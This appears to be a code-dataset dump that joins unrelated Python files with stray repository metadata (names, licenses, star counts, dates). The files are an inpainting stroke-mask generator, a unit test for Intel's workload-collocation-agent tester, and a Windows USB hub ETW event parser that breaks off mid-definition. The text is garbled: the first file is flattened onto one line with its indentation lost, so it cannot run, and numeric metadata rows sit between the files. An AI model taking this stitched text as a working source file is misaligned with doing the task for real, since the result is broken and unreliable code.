import math import random from typing import Tuple import cv2 import numpy as np def np_free_form_mask( max_vertex: int, max_length: int, max_brush_width: int, max_angle: int, height: int, width: int ) -> np.ndarray: mask = np.zeros((height, width), np.float32) num_vertex = random.randint(0, max_vertex) start_y = random.randint(0, height - 1) start_x = random.randint(0, width - 1) brush_width = 0 for i in range(num_vertex): angle = random.random() * max_angle angle = math.radians(angle) if i % 2 == 0: angle = 2 * math.pi - angle length = random.randint(0, max_length) brush_width = random.randint(10, max_brush_width) // 2 * 2 next_y = start_y + length * np.cos(angle) next_x = start_x + length * np.sin(angle) next_y = np.maximum(np.minimum(next_y, height - 1), 0).astype(np.int) next_x = np.maximum(np.minimum(next_x, width - 1), 0).astype(np.int) cv2.line(mask, (start_y, start_x), (next_y, next_x), 1, brush_width) cv2.circle(mask, (start_y, start_x), brush_width // 2, 2) start_y, start_x = next_y, next_x cv2.circle(mask, (start_y, start_x), brush_width // 2, 2) return mask def generate_stroke_mask( image_size: Tuple[int, int], parts: int = 7, max_vertex: int = 25, max_length: int = 80, max_brush_width: int = 80, max_angle: int = 360, ) -> np.ndarray: mask = np.zeros(image_size, dtype=np.float32) for _ in range(parts): mask = mask + np_free_form_mask( max_vertex, max_length, max_brush_width, max_angle, image_size[0], image_size[1] ) return np.minimum(mask, 1.0)
28.898305
99
0.629912
0
0
0
0
0
0
0
0
0
0
d588f6a87c411fe8a97c1726c5e01863027c6a64
2,393
py
Python
tests/tester/test_tester.py
Rajpratik71/workload-collocation-agent
6cf7bdab97ff61d85c21c3effecea632a225c668
[ "Apache-2.0" ]
40
2019-05-16T16:42:33.000Z
2021-11-18T06:33:03.000Z
tests/tester/test_tester.py
Rajpratik71/workload-collocation-agent
6cf7bdab97ff61d85c21c3effecea632a225c668
[ "Apache-2.0" ]
72
2019-05-09T02:30:25.000Z
2020-11-17T09:24:44.000Z
tests/tester/test_tester.py
Rajpratik71/workload-collocation-agent
6cf7bdab97ff61d85c21c3effecea632a225c668
[ "Apache-2.0" ]
26
2019-05-20T09:13:38.000Z
2021-12-15T17:57:21.000Z
# Copyright (c) 2019 Intel Corporation # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from unittest.mock import MagicMock, patch from wca.nodes import Task from wca.config import register from wca.extra.static_allocator import StaticAllocator from tests.tester.tester import IntegrationTester, FileCheck, MetricCheck @patch('tests.tester.tester._delete_cgroup') @patch('tests.tester.tester._create_cgroup') @patch('sys.exit') def test_tester( mock_sys_exit: MagicMock, mock_create_cgroup: MagicMock, mock_delete_cgroup: MagicMock): register(FileCheck) register(MetricCheck) register(StaticAllocator) mock_check = MagicMock() tester = IntegrationTester('tests/tester/test_config.yaml') tester.testcases[0]['checks'] = [mock_check] tester.testcases[1]['checks'] = [mock_check] # Prepare first testcase. assert tester.get_tasks() == [Task( name='task1', task_id='task1', cgroup_path='/test/task1', labels={}, resources={}, subcgroups_paths=[]), Task( name='task2', task_id='task2', cgroup_path='/test/task2', labels={}, resources={}, subcgroups_paths=[])] assert mock_create_cgroup.call_count == 2 # Do checks from first testcase. Prepare second one. assert tester.get_tasks() == [Task( name='task2', task_id='task2', cgroup_path='/test/task2', labels={}, resources={}, subcgroups_paths=[]), Task( name='task4', task_id='task4', cgroup_path='/test/task4', labels={}, resources={}, subcgroups_paths=[])] assert mock_check.check.call_count == 1 assert mock_create_cgroup.call_count == 3 assert mock_delete_cgroup.call_count == 1 tester.get_tasks() assert mock_check.check.call_count == 2 assert mock_create_cgroup.call_count == 3 assert mock_delete_cgroup.call_count == 3 mock_sys_exit.assert_called()
35.191176
74
0.708734
0
0
0
0
1,573
0.657334
0
0
885
0.369829
d5892906d499f0f5a6f042d091d257df411e9d0c
31,503
py
Python
etl/parsers/etw/Microsoft_Windows_USB_USBHUB.py
IMULMUL/etl-parser
76b7c046866ce0469cd129ee3f7bb3799b34e271
[ "Apache-2.0" ]
104
2020-03-04T14:31:31.000Z
2022-03-28T02:59:36.000Z
etl/parsers/etw/Microsoft_Windows_USB_USBHUB.py
IMULMUL/etl-parser
76b7c046866ce0469cd129ee3f7bb3799b34e271
[ "Apache-2.0" ]
7
2020-04-20T09:18:39.000Z
2022-03-19T17:06:19.000Z
etl/parsers/etw/Microsoft_Windows_USB_USBHUB.py
IMULMUL/etl-parser
76b7c046866ce0469cd129ee3f7bb3799b34e271
[ "Apache-2.0" ]
16
2020-03-05T18:55:59.000Z
2022-03-01T10:19:28.000Z
# -*- coding: utf-8 -*- """ Microsoft-Windows-USB-USBHUB GUID : 7426a56b-e2d5-4b30-bdef-b31815c1a74a """ from construct import Int8sl, Int8ul, Int16ul, Int16sl, Int32sl, Int32ul, Int64sl, Int64ul, Bytes, Double, Float32l, Struct from etl.utils import WString, CString, SystemTime, Guid from etl.dtyp import Sid from etl.parsers.etw.core import Etw, declare, guid @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=1, version=0) class Microsoft_Windows_USB_USBHUB_1_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_USB_HubDescriptor" / Int64ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=2, version=0) class Microsoft_Windows_USB_USBHUB_2_0(Etw): pattern = Struct( "fid_USBHUB_HC" / CString, "fid_USBHUB_Hub" / Int32sl ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=3, version=0) class Microsoft_Windows_USB_USBHUB_3_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_USB_HubDescriptor" / Int64ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=10, version=0) class Microsoft_Windows_USB_USBHUB_10_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=11, version=0) class Microsoft_Windows_USB_USBHUB_11_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=12, version=0) class Microsoft_Windows_USB_USBHUB_12_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=13, version=0) class Microsoft_Windows_USB_USBHUB_13_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=14, version=0) class Microsoft_Windows_USB_USBHUB_14_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=15, version=0) class Microsoft_Windows_USB_USBHUB_15_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=16, version=0) class Microsoft_Windows_USB_USBHUB_16_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=17, version=0) class Microsoft_Windows_USB_USBHUB_17_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=18, version=0) class Microsoft_Windows_USB_USBHUB_18_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=19, version=0) class Microsoft_Windows_USB_USBHUB_19_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=20, version=0) class Microsoft_Windows_USB_USBHUB_20_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=21, version=0) class Microsoft_Windows_USB_USBHUB_21_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=22, version=0) class Microsoft_Windows_USB_USBHUB_22_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=23, version=0) class Microsoft_Windows_USB_USBHUB_23_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=24, version=0) class Microsoft_Windows_USB_USBHUB_24_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=25, version=0) class Microsoft_Windows_USB_USBHUB_25_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=26, version=0) class Microsoft_Windows_USB_USBHUB_26_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=27, version=0) class Microsoft_Windows_USB_USBHUB_27_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=28, version=0) class Microsoft_Windows_USB_USBHUB_28_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=29, version=0) class Microsoft_Windows_USB_USBHUB_29_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=30, version=0) class Microsoft_Windows_USB_USBHUB_30_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=31, version=0) class Microsoft_Windows_USB_USBHUB_31_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=32, version=0) class Microsoft_Windows_USB_USBHUB_32_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=33, version=0) class Microsoft_Windows_USB_USBHUB_33_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=34, version=0) class Microsoft_Windows_USB_USBHUB_34_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=35, version=0) class Microsoft_Windows_USB_USBHUB_35_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=36, version=0) class Microsoft_Windows_USB_USBHUB_36_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=37, version=0) class Microsoft_Windows_USB_USBHUB_37_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=39, version=0) class Microsoft_Windows_USB_USBHUB_39_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=40, version=0) class Microsoft_Windows_USB_USBHUB_40_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=41, version=0) class Microsoft_Windows_USB_USBHUB_41_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=49, version=0) class Microsoft_Windows_USB_USBHUB_49_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=50, version=0) class Microsoft_Windows_USB_USBHUB_50_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=51, version=0) class Microsoft_Windows_USB_USBHUB_51_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=59, version=0) class Microsoft_Windows_USB_USBHUB_59_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=60, version=0) class Microsoft_Windows_USB_USBHUB_60_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=61, version=0) class Microsoft_Windows_USB_USBHUB_61_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=62, version=0) class Microsoft_Windows_USB_USBHUB_62_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=63, version=0) class Microsoft_Windows_USB_USBHUB_63_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=64, version=0) class Microsoft_Windows_USB_USBHUB_64_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=70, version=0) class Microsoft_Windows_USB_USBHUB_70_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=71, version=0) class Microsoft_Windows_USB_USBHUB_71_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=80, version=0) class Microsoft_Windows_USB_USBHUB_80_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_PortAttributes" / Int16ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=81, version=0) class Microsoft_Windows_USB_USBHUB_81_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=82, version=0) class Microsoft_Windows_USB_USBHUB_82_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=83, version=0) class Microsoft_Windows_USB_USBHUB_83_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=84, version=0) class Microsoft_Windows_USB_USBHUB_84_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=100, version=0) class Microsoft_Windows_USB_USBHUB_100_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Device" / Int64sl, "fid_USBHUB_Device_State" / Guid, "fid_DeviceDescriptor" / Int64ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=101, version=0) class Microsoft_Windows_USB_USBHUB_101_0(Etw): pattern = Struct( "fid_USBHUB_HC" / CString, "fid_USBHUB_Device" / Int32sl ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=102, version=0) class Microsoft_Windows_USB_USBHUB_102_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Device" / Int64sl, "fid_USBHUB_Device_State" / Guid, "fid_DeviceDescriptor" / Int64ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=103, version=0) class Microsoft_Windows_USB_USBHUB_103_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_DeviceDescription" / WString ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=110, version=0) class Microsoft_Windows_USB_USBHUB_110_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=111, version=0) class Microsoft_Windows_USB_USBHUB_111_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=112, version=0) class Microsoft_Windows_USB_USBHUB_112_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=113, version=0) class Microsoft_Windows_USB_USBHUB_113_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=114, version=0) class Microsoft_Windows_USB_USBHUB_114_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_DeviceDescription" / WString ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=119, version=0) class Microsoft_Windows_USB_USBHUB_119_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=120, version=0) class Microsoft_Windows_USB_USBHUB_120_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Device" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=121, version=0) class Microsoft_Windows_USB_USBHUB_121_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Device" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=122, version=0) class Microsoft_Windows_USB_USBHUB_122_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Device" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=123, version=0) class Microsoft_Windows_USB_USBHUB_123_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Device" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=130, version=0) class Microsoft_Windows_USB_USBHUB_130_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=139, version=0) class Microsoft_Windows_USB_USBHUB_139_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=140, version=0) class Microsoft_Windows_USB_USBHUB_140_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=149, version=0) class Microsoft_Windows_USB_USBHUB_149_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8sl, "fid_USBHUB_Device" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=150, version=0) class Microsoft_Windows_USB_USBHUB_150_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=151, version=0) class Microsoft_Windows_USB_USBHUB_151_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=159, version=0) class Microsoft_Windows_USB_USBHUB_159_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=160, version=0) class Microsoft_Windows_USB_USBHUB_160_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=161, version=0) class Microsoft_Windows_USB_USBHUB_161_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=169, version=0) class Microsoft_Windows_USB_USBHUB_169_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=170, version=0) class Microsoft_Windows_USB_USBHUB_170_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=171, version=0) class Microsoft_Windows_USB_USBHUB_171_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PowerState" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=172, version=0) class Microsoft_Windows_USB_USBHUB_172_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=173, version=0) class Microsoft_Windows_USB_USBHUB_173_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=174, version=0) class Microsoft_Windows_USB_USBHUB_174_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=175, version=0) class Microsoft_Windows_USB_USBHUB_175_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, "fid_USBHUB_Hub" / Int64sl, "fid_PortNumber" / Int32ul, "fid_Status" / Int32ul ) @declare(guid=guid("7426a56b-e2d5-4b30-bdef-b31815c1a74a"), event_id=176, version=0) class Microsoft_Windows_USB_USBHUB_176_0(Etw): pattern = Struct( "fid_USBHUB_HC" / Int8ul, 